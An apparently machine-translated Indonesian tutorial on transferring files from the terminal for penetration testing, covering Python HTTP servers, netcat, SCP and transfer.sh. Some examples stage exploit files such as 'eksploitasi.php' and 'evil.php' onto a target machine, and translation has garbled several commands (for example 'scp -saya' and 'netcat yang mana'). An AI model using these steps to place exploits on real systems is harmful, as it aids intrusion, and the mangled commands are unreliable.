Terminal Tut

Cara mentransfer file menggunakan baris perintah dari Terminal

Cara mentransfer file menggunakan baris perintah dari Terminal

Mentransfer eksploit, skrip python, dan memuat modul sering diperlukan selama aktivitas pengujian penetrasi. Karena terminal adalah alat yang paling sering digunakan, penting untuk memahami dasar-dasar transfer file.

Penguji pena harus dilengkapi dengan berbagai trik untuk mentransfer file dari server jarak jauh juga dari satu direktori ke direktori lain. Dalam tutorial ini, kita akan membahas berbagai cara untuk mentransfer file menggunakan baris perintah.

1. Server Python

Python adalah paket dasar yang sudah diinstal sebelumnya di hampir semua sistem berbasis Debian. Untuk mentransfer file dari satu mesin ke mesin lainnya, lakukan hal berikut;

Python2:

Beralih ke direktori tempat file yang ingin Anda transfer ada. Mulai server python sederhana. Masukkan perintah berikut;

$ python -m SimpleHTTPServer 8080

Sekarang pergi ke mesin tempat Anda ingin mentransfer file. Gunakan perintah berikut untuk mengunduh file;

$wget http://192.168.43.177:8080/berkas

Ingatlah untuk mengganti IP, nomor Port & nama file.

Python3:

Apa pun yang ditulis dengan python2 hampir selalu rusak di python3. Jadi kami juga melihat cara mentransfer file menggunakan python3.

Dalam kasus python3, masukkan perintah berikut untuk memulai server python sederhana.

$ python3 -m http.server 8080

Untuk mendownload file pada target, masukkan perintah berikut;

$wget http://192.168.43.177:8080/eksploitasi.php

Transfer File Python33

2. Netcat

Netcat adalah utilitas yang kuat untuk mentransfer file dari mesin jarak jauh ke mesin lokal. Itu mungkin tidak selalu dipasang. Anda dapat memeriksa apakah itu ada atau tidak dengan memasukkan;

$netcat yang mana
Atau, dengan memasukkan;
$ yang mana

Buat server netcat dengan perintah berikut;

$nc -nlvp 8080 < evil.php

Sekarang pergi ke mesin target dan masukkan yang berikut untuk mengunduh file;

$nc -nv 192.168.43.177 8080 > jahat.php

Transfer file Netcat

Menggantikan nc dengan netcat dalam perintah di atas jika nc tidak berfungsi atau tidak diinstal dengan benar.

3. SCP

Secure Copy Protocol adalah alat yang ampuh untuk mentransfer file. Ini sangat berguna terutama ketika Anda ingin mentransfer direktori. Ini juga banyak digunakan untuk transfer file melalui ssh.

Untuk mentransfer file melalui ssh, masukkan perintah berikut pada mesin pengirim;

$scp -saya baru.tes pem.py [email protected]:/home/ubuntu
Di mana -i mewakili kunci publik untuk login ssh, uji.py adalah file yang akan ditransfer dan /home/ubuntu adalah direktori target tempat kami ingin menyimpan file.

Transfer File Jarak Jauh SCP

Untuk mengunduh file dari mesin jarak jauh, masukkan perintah berikut;

$scp [email protected]:/remote_directory/file/local/directory

Unduhan File Lokal SCP

4. Transfer.SH

Anda dapat menggunakan alat pihak ketiga ini untuk mentransfer file. Ini dapat berguna ketika Anda tidak memiliki mesin dengan IP publik, dan Anda masih harus mentransfer file. Perintah berikut mengunggah file ke transfer.server sh;

$ curl --upload-file ./mengajukan.txt https://transfer.sh/berkas.txt

Untuk mengunduh file, masukkan perintah berikut;

$ curl https://transfer.sh//file.file txt-o.txt

Transfer.sh masih dalam pengembangan dan mungkin tidak selalu berfungsi.

Kesimpulan

Alat baris perintah memberi kita kemampuan untuk mentransfer file dengan berbagai cara. Mereka mungkin tampak agak rumit, tetapi mendapatkan langsung memberikan kemampuan untuk mengelola file dengan mudah, terutama ketika opsi GUI tidak tersedia.

Petakan ulang tombol mouse Anda secara berbeda untuk perangkat lunak yang berbeda dengan Kontrol Tombol X-Mouse
Mungkin Anda membutuhkan alat yang dapat membuat kontrol mouse Anda berubah dengan setiap aplikasi yang Anda gunakan. Jika demikian, Anda dapat mencob...
Ulasan Mouse Nirkabel Microsoft Sculpt Touch
Saya baru-baru ini membaca tentang Microsoft Sculpt Touch mouse nirkabel dan memutuskan untuk membelinya. Setelah menggunakannya untuk sementara waktu...
Trackpad dan Mouse Pointer di Layar AppyMouse untuk Tablet Windows
Pengguna tablet sering melewatkan penunjuk mouse, terutama ketika mereka terbiasa menggunakan laptop. Layar sentuh Smartphone dan tablet hadir dengan ...